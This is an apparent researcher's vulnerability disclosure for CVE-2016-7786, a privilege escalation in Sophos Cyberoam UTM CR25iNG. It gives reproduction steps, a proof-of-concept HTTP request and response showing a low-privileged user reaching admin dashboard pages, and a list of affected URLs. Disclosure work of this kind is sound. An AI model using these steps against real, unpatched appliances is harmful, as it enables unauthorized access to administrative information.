CVE-2016-7786 - Sophos Cyberoam UTM - Privilege Escalation

In this small article I am going to share one of my zero day that I found a while back ago in Sophos Cyberoam UTM device. A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.


# Exploit Title: Sophos Cyberoam UTM - Privilege Escalation
# Date: 31/08/2016
# Exploit Author: Chintan Gurjar (Frogy)
# Vendor Homepage: http://www.sophos.com/
# Software Link: https://www.cyberoam.com/downloads/datasheet/CR25iNG.html
# Version: Cyberoam CR25iNG - 10.6.3 MR-5
# CVE : CVE-2016-7786
# Category : Webapps
# CVSS Score: 9.3

Description
===========
A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.
The weakness was released 04/07/2017. The advisory is shared for download at infosecninja.blogspot.in. The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known.
Upgrading to version 10.6.5 eliminates this vulnerability.

Steps to reproduce
===================
1. Login with admin user account.
2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs.
3. Logout and login with a low privileged user account who does not have even read/write/execution permission.
4. Access saved admin functionality URLs with a low privileged user account.
5. Access the admin information from the user account.

Video Demonstration
====================
https://www.youtube.com/watch?v=unV3-DdIxXw


PoC
===============
Request:

GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;1=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/corporate/webpages/index.php
Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73
Connection: close

Response:

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2016 06:59:56 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=2592000
Expires: Fri, 30 Sep 2016 06:59:56 GMT
Vary: Accept-Encoding
Content-Length: 1828
Connection: Close

...

<table width="100%" cellpading="1" cellspacing="1">
<tr>
<td class="tableheader_gadget" align="center"><label
id='Language.Time'></label></td>
<td class="tableheader_gadget" align="center"><label
id='Language.User'></label></td>
...

Affected URLs
===============
http://192.168.1.1/corporate/webpages/dashboard/ApplianceInformation.jsp
http://192.168.1.1/corporate/webpages/dashboard/IPSRecentAlerts.jsp
http://192.168.1.1/corporate/webpages/dashboard/HTTPVirusDetected.jsp
...Many others...


References
===============
https://infosecninja.blogspot.co.nz/2017/04/cve-2016-7786-sophos-cyberoam-utm.html
https://vuldb.com/?id.99371
https://www.cvedetails.com/cve/CVE-2016-7786/
https://nvd.nist.gov/vuln/detail/CVE-2016-7786

Detailed explanation of the issue is mentioned in following video: